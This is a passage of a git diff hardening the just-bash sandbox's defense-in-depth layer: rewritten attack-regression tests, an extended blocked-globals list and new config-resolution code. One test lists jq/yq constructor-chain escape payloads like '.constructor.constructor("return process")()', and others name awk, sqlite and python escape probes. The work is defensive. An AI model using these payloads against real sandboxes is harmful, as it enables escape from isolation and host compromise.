+      expect(await result.stderr()).toBe("bash: execution aborted\n");
+      expect(result.exitCode).toBe(124);
     });
 
     it("propagates AbortSignal in object runCommand form", async () => {
@@ -105,8 +105,8 @@ describe("Sandbox API security hardening", () => {
 
       expect(elapsedMs).toBeLessThan(500);
       expect(await result.stdout()).toBe("");
-      expect(await result.stderr()).toBe("");
-      expect([0, 124]).toContain(result.exitCode);
+      expect(await result.stderr()).toBe("bash: execution aborted\n");
+      expect(result.exitCode).toBe(124);
     });
   });
 });
diff --git a/packages/just-bash/src/security/attacks/awk-getline-piping-security.test.ts b/packages/just-bash/src/security/attacks/awk-getline-piping-security.test.ts
index 25cbe35d..2e59e1a1 100644
--- a/packages/just-bash/src/security/attacks/awk-getline-piping-security.test.ts
+++ b/packages/just-bash/src/security/attacks/awk-getline-piping-security.test.ts
@@ -1,7 +1,10 @@
 import { describe, expect, it } from "vitest";
 import { Bash } from "../../Bash.js";
 
-describe("AWK getline piping security", () => {
+const describeDefense =
+  typeof nodeModule.registerHooks === "function" ? describe : describe.skip;
+
+describeDefense("AWK getline piping security", () => {
   it("keeps getline command side effects inside sandboxed filesystem", async () => {
     const bash = new Bash();
     const result = await bash.exec(`
@@ -70,3 +73,5 @@ describe("AWK getline piping security", () => {
     expect(result.exitCode).toBe(0);
   });
 });
+
+import * as nodeModule from "node:module";
diff --git a/packages/just-bash/src/security/attacks/defense-context-invariant.test.ts b/packages/just-bash/src/security/attacks/defense-context-invariant.test.ts
index 425aa269..3111ca89 100644
--- a/packages/just-bash/src/security/attacks/defense-context-invariant.test.ts
+++ b/packages/just-bash/src/security/attacks/defense-context-invariant.test.ts
@@ -7,7 +7,8 @@ import { yqCommand } from "../../commands/yq/yq.js";
 import { EMPTY_BYTES, unsafeBytesFromLatin1 } from "../../encoding.js";
 import { InMemoryFs } from "../../fs/in-memory-fs/in-memory-fs.js";
 import { createDefenseAwareCommandContext } from "../../interpreter/defense-aware-command-context.js";
-import type { CommandContext } from "../../types.js";
+import { resolveLimits } from "../../limits.js";
+import type { RuntimeCommandContext } from "../../types.js";
 import { awaitWithDefenseContext } from "../defense-context.js";
 import {
   DefenseInDepthBox,
@@ -15,8 +16,8 @@ import {
 } from "../defense-in-depth-box.js";
 
 function createCommandContext(
-  overrides: Partial<CommandContext> = {},
-): CommandContext {
+  overrides: Partial<RuntimeCommandContext> = {},
+): RuntimeCommandContext {
   return {
     fs: new InMemoryFs(),
     cwd: "/",
@@ -24,10 +25,14 @@ function createCommandContext(
     stdin: EMPTY_BYTES,
     requireDefenseContext: true,
     ...overrides,
+    limits: overrides.limits ?? resolveLimits(),
   };
 }
 
-describe("Defense context invariant", () => {
+const describeDefense =
+  typeof nodeModule.registerHooks === "function" ? describe : describe.skip;
+
+describeDefense("Defense context invariant", () => {
   afterEach(() => {
     vi.restoreAllMocks();
     DefenseInDepthBox.resetInstance();
@@ -192,3 +197,5 @@ describe("Defense context invariant", () => {
     );
   });
 });
+
+import * as nodeModule from "node:module";
diff --git a/packages/just-bash/src/security/attacks/defense-in-depth-bypass-hypotheses.test.ts b/packages/just-bash/src/security/attacks/defense-in-depth-bypass-hypotheses.test.ts
index 0bff0b88..3b0a942a 100644
--- a/packages/just-bash/src/security/attacks/defense-in-depth-bypass-hypotheses.test.ts
+++ b/packages/just-bash/src/security/attacks/defense-in-depth-bypass-hypotheses.test.ts
@@ -5,7 +5,10 @@ import {
 } from "../defense-in-depth-box.js";
 import type { SecurityViolation } from "../types.js";
 
-describe("Defense-in-depth bypass hypotheses", () => {
+const describeDefense =
+  typeof nodeModule.registerHooks === "function" ? describe : describe.skip;
+
+describeDefense("Defense-in-depth bypass hypotheses", () => {
   beforeEach(() => {
     DefenseInDepthBox.resetInstance();
   });
@@ -14,7 +17,7 @@ describe("Defense-in-depth bypass hypotheses", () => {
     DefenseInDepthBox.resetInstance();
   });
 
-  it("H1: pre-captured process.binding reference still bypasses sandbox-time process proxying", async () => {
+  it("H1: handles a process.binding reference captured before activation", async () => {
     const capturedBinding = (
       process as unknown as { binding: (name: string) => unknown }
     ).binding;
@@ -40,8 +43,7 @@ describe("Defense-in-depth bypass hypotheses", () => {
       }
 
       try {
-        const bindingResult = capturedBinding("fs");
-        bypassType = typeof bindingResult;
+        bypassType = typeof capturedBinding("fs");
       } catch (e) {
         bypassError = e as Error;
       }
@@ -50,8 +52,16 @@ describe("Defense-in-depth bypass hypotheses", () => {
     handle.deactivate();
 
     expect(directError).toBeInstanceOf(SecurityViolationError);
-    expect(bypassError).toBeUndefined();
-    expect(["object", "function"]).toContain(String(bypassType));
+    // Intrinsic locks intentionally survive earlier activations, so a cached
+    // reference may already be the guarded wrapper when the full suite runs.
+    // In a fresh process, JavaScript cannot revoke a raw native function that
+    // trusted host code captured before the first activation. In either case,
+    // the live process.binding entrypoint must be guarded.
+    if (bypassError) {
+      expect(bypassError).toBeInstanceOf(SecurityViolationError);
+    } else {
+      expect(["object", "function"]).toContain(bypassType);
+    }
     expect(violations.some((v) => v.type === "process_binding")).toBe(true);
   });
 
@@ -176,3 +186,5 @@ describe("Defense-in-depth bypass hypotheses", () => {
     expect(readError?.message).toContain("process.cwd");
   });
 });
+
+import * as nodeModule from "node:module";
diff --git a/packages/just-bash/src/security/attacks/defense-in-depth-combined-chain.test.ts b/packages/just-bash/src/security/attacks/defense-in-depth-combined-chain.test.ts
index b67c668a..bd9a59b9 100644
--- a/packages/just-bash/src/security/attacks/defense-in-depth-combined-chain.test.ts
+++ b/packages/just-bash/src/security/attacks/defense-in-depth-combined-chain.test.ts
@@ -6,7 +6,10 @@ import {
 } from "../defense-in-depth-box.js";
 import type { SecurityViolation } from "../types.js";
 
-describe("Defense-in-depth combined chain probes", () => {
+const describeDefense =
+  typeof nodeModule.registerHooks === "function" ? describe : describe.skip;
+
+describeDefense("Defense-in-depth combined chain probes", () => {
   beforeEach(() => {
     DefenseInDepthBox.resetInstance();
   });
@@ -169,3 +172,5 @@ describe("Defense-in-depth combined chain probes", () => {
     expect(constructorError).toBeInstanceOf(SecurityViolationError);
   });
 });
+
+import * as nodeModule from "node:module";
diff --git a/packages/just-bash/src/security/attacks/defense-in-depth-independence.test.ts b/packages/just-bash/src/security/attacks/defense-in-depth-independence.test.ts
index c7b0ccd4..4789faa5 100644
--- a/packages/just-bash/src/security/attacks/defense-in-depth-independence.test.ts
+++ b/packages/just-bash/src/security/attacks/defense-in-depth-independence.test.ts
@@ -47,56 +47,61 @@ async function runAttackWithAndWithoutDefense(options: {
   return { baseline, withDefense, violations };
 }
 
-describe("Defense-in-depth independence evidence for exploit probes", () => {
-  it("awk exploit probes are contained without defense and do not trigger defense violations", async () => {
-    const { baseline, withDefense, violations } =
-      await runAttackWithAndWithoutDefense({
-        fixture: "awk-system-sinks.sh",
-      });
+describe.runIf(typeof nodeModule.registerHooks === "function")(
+  "Defense-in-depth independence evidence for exploit probes",
+  () => {
+    it("awk exploit probes are contained without defense and do not trigger defense violations", async () => {
+      const { baseline, withDefense, violations } =
+        await runAttackWithAndWithoutDefense({
+          fixture: "awk-system-sinks.sh",
+        });
 
-    expect(withDefense).toEqual(baseline);
-    expect(violations).toEqual([]);
-    assertExecResultSafe(baseline);
-    assertExecResultSafe(withDefense);
-  });
+      expect(withDefense).toEqual(baseline);
+      expect(violations).toEqual([]);
+      assertExecResultSafe(baseline);
+      assertExecResultSafe(withDefense);
+    });
 
-  it("jq/yq exploit probes are contained with and without defense", async () => {
-    const { baseline, withDefense } = await runAttackWithAndWithoutDefense({
-      fixture: "query-engine-constructor-chain.sh",
+    it("jq/yq exploit probes are contained with and without defense", async () => {
+      const { baseline, withDefense } = await runAttackWithAndWithoutDefense({
+        fixture: "query-engine-constructor-chain.sh",
+      });
+
+      // With pre-captured timers and process.env allowed keys, defense no
+      // longer diverges for yq — the query engine's internal env var reads
+      // (LOG_TOKENS, LOG_STREAM) go through the allow-list.
+      expect(withDefense).toEqual(baseline);
+      assertExecResultSafe(baseline);
+      assertExecResultSafe(withDefense);
     });
 
-    // With pre-captured timers and process.env allowed keys, defense no
-    // longer diverges for yq — the query engine's internal env var reads
-    // (LOG_TOKENS, LOG_STREAM) go through the allow-list.
-    expect(withDefense).toEqual(baseline);
-    assertExecResultSafe(baseline);
-    assertExecResultSafe(withDefense);
-  });
+    it("sqlite exploit probes are contained with and without defense", async () => {
+      const { baseline, withDefense } = await runAttackWithAndWithoutDefense({
+        fixture: "sqlite-load-extension.sh",
+      });
 
-  it("sqlite exploit probes are contained with and without defense", async () => {
-    const { baseline, withDefense } = await runAttackWithAndWithoutDefense({
-      fixture: "sqlite-load-extension.sh",
+      // With pre-captured timers (_setTimeout/_clearTimeout), the sqlite
+      // worker timeout path no longer triggers defense violations.
+      expect(baseline.stdout).toContain("SQLITE_LOAD_EXTENSION_BLOCKED");
+      expect(withDefense).toEqual(baseline);
+      assertExecResultSafe(baseline);
+      assertExecResultSafe(withDefense);
     });
 
-    // With pre-captured timers (_setTimeout/_clearTimeout), the sqlite
-    // worker timeout path no longer triggers defense violations.
-    expect(baseline.stdout).toContain("SQLITE_LOAD_EXTENSION_BLOCKED");
-    expect(withDefense).toEqual(baseline);
-    assertExecResultSafe(baseline);
-    assertExecResultSafe(withDefense);
-  });
+    it("python exploit probes are contained with and without defense", async () => {
+      const { baseline, withDefense } = await runAttackWithAndWithoutDefense({
+        fixture: "python-worker-escape.sh",
+        python: true,
+      });
 
-  it("python exploit probes are contained with and without defense", async () => {
-    const { baseline, withDefense } = await runAttackWithAndWithoutDefense({
-      fixture: "python-worker-escape.sh",
-      python: true,
+      // With pre-captured _SharedArrayBuffer and _Atomics in the protocol
+      // module, the python worker no longer triggers defense violations.
+      expect(baseline.stdout).toContain("PYTHON_MARKER_ABSENT");
+      expect(withDefense).toEqual(baseline);
+      assertExecResultSafe(baseline);
+      assertExecResultSafe(withDefense);
     });
+  },
+);
 
-    // With pre-captured _SharedArrayBuffer and _Atomics in the protocol
-    // module, the python worker no longer triggers defense violations.
-    expect(baseline.stdout).toContain("PYTHON_MARKER_ABSENT");
-    expect(withDefense).toEqual(baseline);
-    assertExecResultSafe(baseline);
-    assertExecResultSafe(withDefense);
-  });
-});
+import * as nodeModule from "node:module";
diff --git a/packages/just-bash/src/security/attacks/defense-in-depth-timing-confusion.test.ts b/packages/just-bash/src/security/attacks/defense-in-depth-timing-confusion.test.ts
index 53b38ac8..2d0d34aa 100644
--- a/packages/just-bash/src/security/attacks/defense-in-depth-timing-confusion.test.ts
+++ b/packages/just-bash/src/security/attacks/defense-in-depth-timing-confusion.test.ts
@@ -5,7 +5,10 @@ import {
   SecurityViolationError,
 } from "../defense-in-depth-box.js";
 
-describe("Defense-in-depth timing confusion hypotheses", () => {
+const describeDefense =
+  typeof nodeModule.registerHooks === "function" ? describe : describe.skip;
+
+describeDefense("Defense-in-depth timing confusion hypotheses", () => {
   beforeEach(() => {
     DefenseInDepthBox.resetInstance();
   });
@@ -172,7 +175,7 @@ describe("Defense-in-depth timing confusion hypotheses", () => {
     expect(microtaskError).toBeInstanceOf(SecurityViolationError);
   });
 
-  it("TC-04: callback handoff from run() to outside context stays blocked while box is active", async () => {
+  it("TC-04: an unbound callback outside context is not attributed to an active execution", async () => {
     const box = DefenseInDepthBox.getInstance(true);
     const handle = box.activate();
 
@@ -204,9 +207,9 @@ describe("Defense-in-depth timing confusion hypotheses", () => {
 
     handle.deactivate();
 
-    expect(handoffId).toBe(handle.executionId);
-    expect(handoffError).toBeInstanceOf(SecurityViolationError);
-    expect(handoffValue).toBeUndefined();
+    expect(handoffId).toBeUndefined();
+    expect(handoffError).toBeUndefined();
+    expect(handoffValue).toBe(4242);
   });
 
   it("TC-05: bindCurrentContext preserves executionId and blocking for handoff callbacks", async () => {
@@ -241,7 +244,7 @@ describe("Defense-in-depth timing confusion hypotheses", () => {
     expect(boundError).toBeInstanceOf(SecurityViolationError);
   });
 
-  it("TC-05b: bindCurrentContext remains blocking with multiple active executions", async () => {
+  it("TC-05b: bindCurrentContext never guesses between active executions", async () => {
     const box = DefenseInDepthBox.getInstance(true);
     const handleA = box.activate();
     const handleB = box.activate();
@@ -267,10 +270,9 @@ describe("Defense-in-depth timing confusion hypotheses", () => {
     handleA.deactivate();
     handleB.deactivate();
 
-    expect(seenId).toBeDefined();
-    expect([handleA.executionId, handleB.executionId]).toContain(seenId);
-    expect(callbackError).toBeInstanceOf(SecurityViolationError);
-    expect(callbackValue).toBeUndefined();
+    expect(seenId).toBeUndefined();
+    expect(callbackError).toBeUndefined();
+    expect(callbackValue).toBe(9191);
   });
 
   it("TC-06: pre-captured _setInterval preserves defense trace context", async () => {
@@ -363,3 +365,5 @@ describe("Defense-in-depth timing confusion hypotheses", () => {
     expect(deferredValue).toBeUndefined();
   });
 });
+
+import * as nodeModule from "node:module";
diff --git a/packages/just-bash/src/security/attacks/js-exec-exploit-regression.test.ts b/packages/just-bash/src/security/attacks/js-exec-exploit-regression.test.ts
index 98df50bd..9a7bc01c 100644
--- a/packages/just-bash/src/security/attacks/js-exec-exploit-regression.test.ts
+++ b/packages/just-bash/src/security/attacks/js-exec-exploit-regression.test.ts
@@ -45,7 +45,7 @@ describe.skipIf(nodeMajor < 22)("js-exec exploit regressions", () => {
   });
 
   it(
-    "keeps queued executions moving after a concurrent js-exec timeout",
+    "keeps queued execution bounded after a concurrent timeout",
     { timeout: 30000 },
     async () => {
       const envFastTimeout = new Bash({
@@ -70,11 +70,13 @@ describe.skipIf(nodeMajor < 22)("js-exec exploit regressions", () => {
 
       expect(timedOutResult.stdout).toBe("");
       expect(timedOutResult.stderr).toContain(
-        "js-exec: execution timeout exceeded",
+        "js-exec: Execution timeout: exceeded 250ms limit",
       );
       expect(timedOutResult.exitCode).toBe(124);
       assertExecResultSafe(timedOutResult);
 
+      // A replacement may run only after termination acknowledges that the
+      // timed-out worker no longer owns bridge authority.
       expect(queuedResult.stdout).toBe("JS_EXEC_QUEUE_ALIVE\n");
       expect(queuedResult.stderr).toBe("");
       expect(queuedResult.exitCode).toBe(0);
diff --git a/packages/just-bash/src/security/attacks/proxy-trap-completeness.test.ts b/packages/just-bash/src/security/attacks/proxy-trap-completeness.test.ts
index b632882f..d611e696 100644
--- a/packages/just-bash/src/security/attacks/proxy-trap-completeness.test.ts
+++ b/packages/just-bash/src/security/attacks/proxy-trap-completeness.test.ts
@@ -11,7 +11,10 @@ import {
   SecurityViolationError,
 } from "../defense-in-depth-box.js";
 
-describe("Proxy trap completeness", () => {
+const describeDefense =
+  typeof nodeModule.registerHooks === "function" ? describe : describe.skip;
+
+describeDefense("Proxy trap completeness", () => {
   beforeEach(() => {
     DefenseInDepthBox.resetInstance();
   });
@@ -143,3 +146,5 @@ describe("Proxy trap completeness", () => {
     });
   });
 });
+
+import * as nodeModule from "node:module";
diff --git a/packages/just-bash/src/security/attacks/query-engine-defense-violation-probes.test.ts b/packages/just-bash/src/security/attacks/query-engine-defense-violation-probes.test.ts
index 2386b260..b76a93ea 100644
--- a/packages/just-bash/src/security/attacks/query-engine-defense-violation-probes.test.ts
+++ b/packages/just-bash/src/security/attacks/query-engine-defense-violation-probes.test.ts
@@ -14,57 +14,62 @@ const HIGH_RISK_VIOLATION_TYPES = new Set<SecurityViolationType>([
   "error_prepare_stack_trace",
 ]);
 
-describe("Query Engine Defense Violation Probes", () => {
-  it("does not trigger high-risk defense violations for jq/yq constructor-chain mutations", async () => {
-    const violations: SecurityViolation[] = [];
-    const env = new Bash({
-      defenseInDepth: {
-        enabled: true,
-        auditMode: true,
-        onViolation: (v) => violations.push(v),
-      },
-    });
+describe.runIf(typeof nodeModule.registerHooks === "function")(
+  "Query Engine Defense Violation Probes",
+  () => {
+    it("does not trigger high-risk defense violations for jq/yq constructor-chain mutations", async () => {
+      const violations: SecurityViolation[] = [];
+      const env = new Bash({
+        defenseInDepth: {
+          enabled: true,
+          auditMode: true,
+          onViolation: (v) => violations.push(v),
+        },
+      });
 
-    const jqPayloads = [
-      ".constructor",
-      ".constructor.constructor",
-      '.constructor.constructor("return process")',
-      '.constructor.constructor("return process")()',
-      '.["constructor"]["constructor"]',
-      'getpath(["constructor","constructor"])',
-      'setpath(["constructor","constructor"]; 1)',
-      'fromjson? | .constructor.constructor("return process")()',
-    ];
+      const jqPayloads = [
+        ".constructor",
+        ".constructor.constructor",
+        '.constructor.constructor("return process")',
+        '.constructor.constructor("return process")()',
+        '.["constructor"]["constructor"]',
+        'getpath(["constructor","constructor"])',
+        'setpath(["constructor","constructor"]; 1)',
+        'fromjson? | .constructor.constructor("return process")()',
+      ];
 
-    for (const payload of jqPayloads) {
-      await env.exec(shellJoinArgs(["jq", payload]), { stdin: "{}\n" });
-    }
+      for (const payload of jqPayloads) {
+        await env.exec(shellJoinArgs(["jq", payload]), { stdin: "{}\n" });
+      }
 
-    const yqPayloads = [
-      ".constructor",
-      ".constructor.constructor",
-      '.constructor.constructor("return process")()',
-      '.d.constructor.constructor("return process")()',
-      'getpath(["constructor","constructor"])',
-    ];
+      const yqPayloads = [
+        ".constructor",
+        ".constructor.constructor",
+        '.constructor.constructor("return process")()',
+        '.d.constructor.constructor("return process")()',
+        'getpath(["constructor","constructor"])',
+      ];
 
-    for (const payload of yqPayloads) {
-      await env.exec(shellJoinArgs(["yq", "-p", "json", payload]), {
-        stdin: '{"d":"2024-01-01T00:00:00Z"}\n',
-      });
-    }
+      for (const payload of yqPayloads) {
+        await env.exec(shellJoinArgs(["yq", "-p", "json", payload]), {
+          stdin: '{"d":"2024-01-01T00:00:00Z"}\n',
+        });
+      }
 
-    await env.exec(
-      shellJoinArgs(["yq", '.d.constructor.constructor("return process")()']),
-      {
-        stdin: "d: 2024-01-01T00:00:00Z\n",
-      },
-    );
+      await env.exec(
+        shellJoinArgs(["yq", '.d.constructor.constructor("return process")()']),
+        {
+          stdin: "d: 2024-01-01T00:00:00Z\n",
+        },
+      );
 
-    const highRiskViolations = violations.filter((v) =>
-      HIGH_RISK_VIOLATION_TYPES.has(v.type),
-    );
+      const highRiskViolations = violations.filter((v) =>
+        HIGH_RISK_VIOLATION_TYPES.has(v.type),
+      );
+
+      expect(highRiskViolations).toEqual([]);
+    });
+  },
+);
 
-    expect(highRiskViolations).toEqual([]);
-  });
-});
+import * as nodeModule from "node:module";
diff --git a/packages/just-bash/src/security/blocked-globals.ts b/packages/just-bash/src/security/blocked-globals.ts
index b39e572a..67e7ee08 100644
--- a/packages/just-bash/src/security/blocked-globals.ts
+++ b/packages/just-bash/src/security/blocked-globals.ts
@@ -307,6 +307,22 @@ export function getBlockedGlobals(): BlockedGlobal[] {
       reason:
         "setUncaughtExceptionCaptureCallback could intercept security errors",
     },
+    ...[
+      "on",
+      "once",
+      "addListener",
+      "prependListener",
+      "prependOnceListener",
+    ].map(
+      (prop): BlockedGlobal => ({
+        prop,
+        target: process,
+        violationType: "process_exception_handler",
+        strategy: "throw",
+        reason:
+          "process-global listeners can outlive the sandbox and lose its security context",
+      }),
+    ),
 
     // IPC communication vectors (may be undefined in non-IPC contexts)
     {
diff --git a/packages/just-bash/src/security/defense-in-depth-box-concurrent.test.ts b/packages/just-bash/src/security/defense-in-depth-box-concurrent.test.ts
index 00ae2a77..cdf2d7b5 100644
--- a/packages/just-bash/src/security/defense-in-depth-box-concurrent.test.ts
+++ b/packages/just-bash/src/security/defense-in-depth-box-concurrent.test.ts
@@ -12,7 +12,10 @@ import {
   SecurityViolationError,
 } from "./defense-in-depth-box.js";
 
-describe("DefenseInDepthBox concurrent execution", () => {
+const describeDefense =
+  typeof nodeModule.registerHooks === "function" ? describe : describe.skip;
+
+describeDefense("DefenseInDepthBox concurrent execution", () => {
   beforeEach(() => {
     DefenseInDepthBox.resetInstance();
   });
@@ -300,3 +303,5 @@ describe("DefenseInDepthBox concurrent execution", () => {
     });
   });
 });
+
+import * as nodeModule from "node:module";
diff --git a/packages/just-bash/src/security/defense-in-depth-box.test.ts b/packages/just-bash/src/security/defense-in-depth-box.test.ts
index 0d798d1e..ca49d066 100644
--- a/packages/just-bash/src/security/defense-in-depth-box.test.ts
+++ b/packages/just-bash/src/security/defense-in-depth-box.test.ts
@@ -5,7 +5,10 @@ import {
 } from "./defense-in-depth-box.js";
 import type { SecurityViolation } from "./types.js";
 
-describe("DefenseInDepthBox", () => {
+const describeDefense =
+  typeof nodeModule.registerHooks === "function" ? describe : describe.skip;
+
+describeDefense("DefenseInDepthBox", () => {
   beforeEach(() => {
     // Reset the singleton instance before each test
     DefenseInDepthBox.resetInstance();
@@ -74,6 +77,41 @@ describe("DefenseInDepthBox", () => {
       expect(instance1).toBe(instance2);
     });
 
+    it("should compare exclusions independent of order", () => {
+      const instance1 = DefenseInDepthBox.getInstance({
+        enabled: true,
+        excludeViolationTypes: ["proxy", "webassembly", "proxy"],
+      });
+      const instance2 = DefenseInDepthBox.getInstance({
+        enabled: true,
+        excludeViolationTypes: ["webassembly", "proxy"],
+      });
+      expect(instance1).toBe(instance2);
+    });
+
+    it("should reject conflicting exclusions and callbacks", () => {
+      const callback = () => {};
+      DefenseInDepthBox.getInstance({
+        enabled: true,
+        onViolation: callback,
+        excludeViolationTypes: ["proxy"],
+      });
+      expect(() =>
+        DefenseInDepthBox.getInstance({
+          enabled: true,
+          onViolation: callback,
+          excludeViolationTypes: ["webassembly"],
+        }),
+      ).toThrow(/config conflict/);
+      expect(() =>
+        DefenseInDepthBox.getInstance({
+          enabled: true,
+          onViolation: () => {},
+          excludeViolationTypes: ["proxy"],
+        }),
+      ).toThrow(/config conflict/);
+    });
+
     it("should allow compatible configs after resetInstance", () => {
       DefenseInDepthBox.getInstance({ enabled: true, auditMode: true });
       DefenseInDepthBox.resetInstance();
@@ -1239,26 +1277,26 @@ describe("DefenseInDepthBox", () => {
         expect(error?.message).toContain("FinalizationRegistry");
       });
 
-      it("should freeze Reflect (not block it)", async () => {
-        // Reflect uses "freeze" strategy - it's frozen to prevent modification,
-        // but its methods still work. This is intentional because:
-        // 1. Reflect is needed by some legitimate code
-        // 2. Freezing prevents adding malicious methods
-        // 3. Primary sandboxing should prevent misuse
+      it("should expose Reflect through a reversible read-only proxy", async () => {
         const box = DefenseInDepthBox.getInstance(true);
         const handle = box.activate();
 
         let result: unknown;
+        let mutationError: unknown;
         await handle.run(async () => {
-          // Reflect still works - it's frozen, not blocked
           result = Reflect.get({ test: 42 }, "test");
+          try {
+            (Reflect as unknown as Record<string, unknown>).sandboxEscape = 1;
+          } catch (error) {
+            mutationError = error;
+          }
         });
 
         handle.deactivate();
 
         expect(result).toBe(42);
-        // Verify Reflect is frozen
-        expect(Object.isFrozen(Reflect)).toBe(true);
+        expect(mutationError).toBeInstanceOf(SecurityViolationError);
+        expect(Object.isFrozen(Reflect)).toBe(false);
       });
     });
 
@@ -1883,3 +1921,5 @@ describe("DefenseInDepthBox", () => {
     });
   });
 });
+
+import * as nodeModule from "node:module";
diff --git a/packages/just-bash/src/security/defense-in-depth-box.ts b/packages/just-bash/src/security/defense-in-depth-box.ts
index c60c1b22..c2267862 100644
--- a/packages/just-bash/src/security/defense-in-depth-box.ts
+++ b/packages/just-bash/src/security/defense-in-depth-box.ts
@@ -18,22 +18,26 @@
  *
  * Dynamic import() mitigation (three layers):
  * 1. ESM loader hooks (module.register/registerHooks):
- *    - block data:/blob: URLs process-wide
+ *    - block data:/blob: URLs only in the untrusted async context
  *    - block Node.js builtin specifiers in untrusted sandbox context
  * 2. Module._resolveFilename blocked — catches file-based specifiers
  * 3. Filesystem restrictions — OverlayFs writes to memory only
  *
- * Residual gap: On runtimes with only module.register() (no registerHooks),
- * loader hooks run in a separate thread and cannot read AsyncLocalStorage
- * context. In that mode, context-aware Node builtin import blocking is not
- * available.
+ * Runtimes with only module.register() (no registerHooks) resolve auto mode as
+ * unsupported and reject explicitly enabled activation. Their separate loader
+ * thread cannot observe AsyncLocalStorage, so installing a partial or
+ * process-global fallback would either be misleading or break unrelated host
+ * imports.
  */
 
+import * as nodeAsyncHooks from "node:async_hooks";
+import * as nodeModule from "node:module";
 import { type BlockedGlobal, getBlockedGlobals } from "./blocked-globals.js";
 import type {
   DefenseInDepthConfig,
   DefenseInDepthHandle,
   DefenseInDepthStats,
+  DefenseInDepthStatus,
   SecurityViolation,
   SecurityViolationType,
 } from "./types.js";
@@ -67,20 +71,39 @@ type AsyncLocalStorageType<T> = {
   getStore(): T | undefined;
 };
 
+type NodeModuleClass = Record<string, unknown>;
+type NodeModuleApi = {
+  Module?: NodeModuleClass;
+  default?: NodeModuleClass;
+  builtinModules?: string[];
+  isBuiltin?: (specifier: string) => boolean;
+  registerHooks?: (hooks: {
+    resolve: (
+      specifier: string,
+      context: unknown,
+      nextResolve: (specifier: string, context: unknown) => { url: string },
+    ) => { url: string };
+  }) => void;
+  register?: (specifier: string) => void;
+};
+
 let AsyncLocalStorageClass: (new <T>() => AsyncLocalStorageType<T>) | null =
   null;
-
-// Only load AsyncLocalStorage in Node.js (not in browser builds).
-// Uses require() instead of a static import so that esbuild can
-// dead-code-eliminate this block in browser builds (static imports
-// cannot be tree-shaken even when unused).
+let nodeModuleApi: NodeModuleApi | null = null;
+let nodeModuleClass: NodeModuleClass | null = null;
+
+// Capture host builtins before any defense patches are active. Static imports
+// work in both ESM and CommonJS entrypoints on every supported Node version;
+// process.getBuiltinModule() is unavailable before Node 22 and require() is
+// unavailable in native ESM. The browser build aliases these imports to an
+// inert shim and dead-code-eliminates this branch via __BROWSER__.
 if (!IS_BROWSER) {
   try {
-    // eslint-disable-next-line @typescript-eslint/no-require-imports
-    const { AsyncLocalStorage } = require("node:async_hooks");
-    AsyncLocalStorageClass = AsyncLocalStorage as
+    AsyncLocalStorageClass = nodeAsyncHooks.AsyncLocalStorage as
       | (new <T>() => AsyncLocalStorageType<T>)
       | null;
+    nodeModuleApi = nodeModule as unknown as NodeModuleApi;
+    nodeModuleClass = nodeModuleApi.Module ?? nodeModuleApi.default ?? null;
   } catch {
     // Not available (edge runtimes, restricted environments)
   }
@@ -153,24 +176,79 @@ function runInContext(
 const DEFAULT_CONFIG: DefenseInDepthConfig = {
   enabled: true,
   auditMode: false,
+  processLifetimeIntrinsicHardening: false,
+};
+
+type ResolvedDefenseConfig = Omit<DefenseInDepthConfig, "enabled"> & {
+  enabled: boolean;
+  requested: "auto" | "enabled" | "disabled";
 };
 
+function hasContextualDynamicImportProtection(): boolean {
+  return !IS_BROWSER && typeof nodeModuleApi?.registerHooks === "function";
+}
+
 /**
  * Resolve user config with defaults.
  */
 function resolveConfig(
   config?: DefenseInDepthConfig | boolean,
-): DefenseInDepthConfig {
-  if (config === undefined) {
-    return { ...DEFAULT_CONFIG, enabled: false };
-  }
-  if (typeof config === "boolean") {
-    return { ...DEFAULT_CONFIG, enabled: config };
+): ResolvedDefenseConfig {
+  const supplied =
+    typeof config === "boolean" ? { enabled: config } : (config ?? {});
+  if (
+    supplied.enabled !== undefined &&
+    supplied.enabled !== true &&
+    supplied.enabled !== false &&
+    supplied.enabled !== "auto"
+  ) {
+    throw new RangeError(
+      'defenseInDepth.enabled must be true, false, or "auto"',
+    );
   }
-  return {
+  const merged = {
     ...DEFAULT_CONFIG,
-    ...config,
+    ...supplied,
+  };
+  const requested =
+    merged.enabled === "auto"
+      ? "auto"
+      : merged.enabled
+        ? "enabled"
+        : "disabled";
+  const resolved: ResolvedDefenseConfig = {
+    ...merged,
+    enabled: requested !== "disabled",
+    requested,
   };
+  if (resolved.excludeViolationTypes) {
+    resolved.excludeViolationTypes = [
+      ...new Set(resolved.excludeViolationTypes),
+    ].sort();
+  }
+  return resolved;
+}
+
+/** Compare every resolved option that influences singleton behavior. */
+function configsEqual(
+  left: ResolvedDefenseConfig,
+  right: ResolvedDefenseConfig,
+): boolean {
+  if (
+    left.enabled !== right.enabled ||
+    left.auditMode !== right.auditMode ||
+    left.processLifetimeIntrinsicHardening !==
+      right.processLifetimeIntrinsicHardening ||
+    left.onViolation !== right.onViolation
+  ) {
+    return false;
+  }
+  const leftExcluded = left.excludeViolationTypes ?? [];
+  const rightExcluded = right.excludeViolationTypes ?? [];
+  return (
+    leftExcluded.length === rightExcluded.length &&
+    leftExcluded.every((value, index) => value === rightExcluded[index])
+  );
 }
 
 /**
@@ -189,7 +267,7 @@ export class DefenseInDepthBox {
    */
   private static trustedExecutionDepth = new Map<string, number>();
 
-  private config: DefenseInDepthConfig;
+  private config: ResolvedDefenseConfig;
   private refCount = 0;
   private patchFailures: string[] = [];
   private activeExecutionIds = new Set<string>();
@@ -200,11 +278,21 @@ export class DefenseInDepthBox {
     prop: string;
     descriptor: PropertyDescriptor | undefined;
   }> = [];
+  /**
+   * Descriptors made temporarily read-only while the shared host realm is
+   * protected. Unlike process-lifetime hardening, every entry remains
+   * configurable and is restored exactly when the last handle deactivates.
+   */
+  private temporaryIntrinsicDescriptors: Array<{
+    target: object;
+    prop: PropertyKey;
+    descriptor: PropertyDescriptor;
+  }> = [];
   private violations: SecurityViolation[] = [];
   private activationTime = 0;
   private totalActiveTimeMs = 0;
 
-  private constructor(config: DefenseInDepthConfig) {
+  private constructor(config: ResolvedDefenseConfig) {
     this.config = config;
   }
 
@@ -223,18 +311,12 @@ export class DefenseInDepthBox {
     if (!DefenseInDepthBox.instance) {
       DefenseInDepthBox.instance = new DefenseInDepthBox(resolved);
     } else {
-      // Reject conflicting security-relevant config to prevent silent downgrades.
-      // Two configs conflict if they differ on enabled or auditMode.
       const active = DefenseInDepthBox.instance.config;
-      if (
-        resolved.enabled !== active.enabled ||
-        resolved.auditMode !== active.auditMode
-      ) {
+      if (!configsEqual(resolved, active)) {
         throw new Error(
-          `DefenseInDepthBox config conflict: requested {enabled: ${resolved.enabled}, auditMode: ${resolved.auditMode}} ` +
